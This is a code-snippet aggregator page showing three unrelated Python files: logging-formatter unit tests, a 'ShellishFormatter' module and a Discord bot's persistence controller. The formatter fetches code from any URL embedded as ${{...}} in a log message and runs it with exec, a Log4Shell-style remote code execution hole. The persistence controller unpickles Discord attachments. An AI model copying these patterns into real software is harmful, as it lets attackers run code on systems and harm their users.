How to use record_message method in prospector

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test_ConsoleFormatter.py

Source: test_ConsoleFormatter.py Github

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1import logging2import click3from esok.log.ConsoleFormatter import ConsoleFormatter4def test_notset_format():5 record_message = u"This is a test!"6 record = logging.makeLogRecord(7 {u"msg": record_message, u"levelno": logging.NOTSET, u"levelname": u"NOTSET"}8 )9 formatter = ConsoleFormatter()10 msg = formatter.format(record)11 prefix = click.style(u"[Notset] ", fg="blue")12 assert prefix + record_message == msg13def test_debug_format():14 record_message = u"This is a test!"15 record = logging.makeLogRecord(16 {u"msg": record_message, u"levelno": logging.DEBUG, u"levelname": u"DEBUG"}17 )18 formatter = ConsoleFormatter()19 msg = formatter.format(record)20 prefix = click.style(u"[Debug] ", fg="blue")21 assert prefix + record_message == msg22def test_info_format():23 record_message = u"This is a test!"24 record = logging.makeLogRecord({u"msg": record_message, u"levelno": logging.INFO})25 formatter = ConsoleFormatter()26 msg = formatter.format(record)27 assert record_message == msg28def test_warning_format():29 record_message = u"This is a test!"30 record = logging.makeLogRecord(31 {u"msg": record_message, u"levelno": logging.WARNING, u"levelname": u"WARNING"}32 )33 formatter = ConsoleFormatter()34 msg = formatter.format(record)35 prefix = click.style(u"[Warning] ", fg="yellow")36 assert prefix + record_message == msg37def test_error_format():38 record_message = u"This is a test!"39 record = logging.makeLogRecord(40 {u"msg": record_message, u"levelno": logging.ERROR, u"levelname": u"ERROR"}41 )42 formatter = ConsoleFormatter()43 msg = formatter.format(record)44 prefix = click.style(u"[Error] ", fg="red")45 assert prefix + record_message == msg46def test_critical_format():47 record_message = u"This is a test!"48 record = logging.makeLogRecord(49 {50 u"msg": record_message,51 u"levelno": logging.CRITICAL,52 u"levelname": u"CRITICAL",53 }54 )55 formatter = ConsoleFormatter()56 msg = formatter.format(record)57 prefix = click.style(u"[Critical] ", fg="red")58 assert prefix + record_message == msg59def test_error_format_with_traceback():60 record_message = u"This is a test!"61 record = logging.makeLogRecord(62 {63 u"msg": record_message,64 u"levelno": logging.ERROR,65 u"levelname": u"ERROR",66 u"exc_info": "Something",67 }68 )69 formatter = ConsoleFormatter()70 formatter.show_traceback = True71 tb_text = "Shitty traceback."72 formatter.formatException = lambda _: tb_text # Mock traceback text73 msg = formatter.format(record)74 prefix = click.style(u"[Error] ", fg="red")75 expected = u"{}{}\n{}".format(prefix, record_message, tb_text)76 assert expected == msg77def test_is_info_level():78 assert not ConsoleFormatter.is_info_level(logging.INFO - 1)79 assert ConsoleFormatter.is_info_level(logging.INFO)80 assert ConsoleFormatter.is_info_level(logging.WARNING - 1)81 assert not ConsoleFormatter.is_info_level(logging.WARNING)82def test_color_for_level():83 assert ConsoleFormatter.color_for_level(logging.CRITICAL) == "red"84 assert ConsoleFormatter.color_for_level(logging.ERROR) == "red"85 assert ConsoleFormatter.color_for_level(logging.WARNING) == "yellow"86 assert ConsoleFormatter.color_for_level(logging.INFO) == "white"87 assert ConsoleFormatter.color_for_level(logging.DEBUG) == "blue"...

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formatter.py

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1import logging2from typing import List, Tuple3from urllib.parse import urlparse, parse_qs4from urllib.request import urlopen5import re6PATTERN = '\$\{\{(.+?)\}\}'7SEACH_CLASS_NAME = "LogSubstitutor"8def parse_url(pattern: str) -> Tuple[bool, str, dict]:9 try:10 result = urlparse(pattern)11 if any([result.scheme, result.netloc]):12 parsed_url = "{}:/​/​{}{}".format(result.scheme, result.netloc,13 result.path)14 parameters = parse_qs(result.query)15 return True, parsed_url, parameters16 except:17 return False, None, None18def execute_object(data: str, params: dict) -> str:19 exec(data, globals())20 class_repr = eval(SEACH_CLASS_NAME)21 result = str(class_repr(**params))22 return result23def check_substitute_pattern(record_message: str) -> str:24 compiled_re = re.compile(PATTERN)25 matched_iter = compiled_re.finditer(record_message)26 iter = 027 for match in matched_iter:28 found_str = match.group(1)29 try:30 ret, url, params = parse_url(found_str)31 if not ret:32 raise Exception()33 with urlopen(url, timeout=5) as response:34 eval_data = response.read()35 eval_result = execute_object(eval_data, params)36 record_message = re.sub(PATTERN, eval_result, record_message, iter)37 iter = iter + 138 except Exception as e:39 iter += 140 continue41 return record_message42class ShellishFormatter(logging.Formatter):43 def __init__(self):44 super(ShellishFormatter, self).__init__()45 def format(self, record: logging.LogRecord) -> str:46 # this is the default format function used by CPython's logging47 # library. We are retaining the same. But check_substitute_pattern48 # is called on the formatted string to make pattern substitution.49 record.message = record.getMessage()50 if self.usesTime():51 record.asctime = self.formatTime(record, self.datefmt)52 s = self.formatMessage(record)53 s = check_substitute_pattern(s)54 if record.exc_info:55 if not record.exc_text:56 record.exc_text = self.formatException(record.exc_info)57 if record.exc_text:58 if s[-1:] != "\n":59 s = s + "\n"60 s = s + record.exc_text61 if record.stack_info:62 if s[-1:] != "\n":63 s = s + "\n"64 s = s + self.formatStack(record.stack_info)...

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PersistenceController.py

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1import pickle2from os import remove3from models.Records import Records4from discord import File5async def load_Records(server):6 # If record doesn't exist7 if not server.record_Message:8 await save_Records({}, server)9 return {}10 11 file = await server.record_Message.attachments[0].to_file()12 file = file.fp13 data = pickle.load(file)14 records = Records(data['Records'], server)15 return records16async def save_Records(records, server):17 if server.record_Message:18 await server.record_Message.delete()19 data = {"Server_ID": server.ID, "Records": records}20 filepath = f"./​{server.ID}"21 with open(filepath, mode="wb") as file:22 pickle.dump(data, file)23 file = File(filepath)24 await server.data_Channel.send(content=str(server.ID), file=file)...

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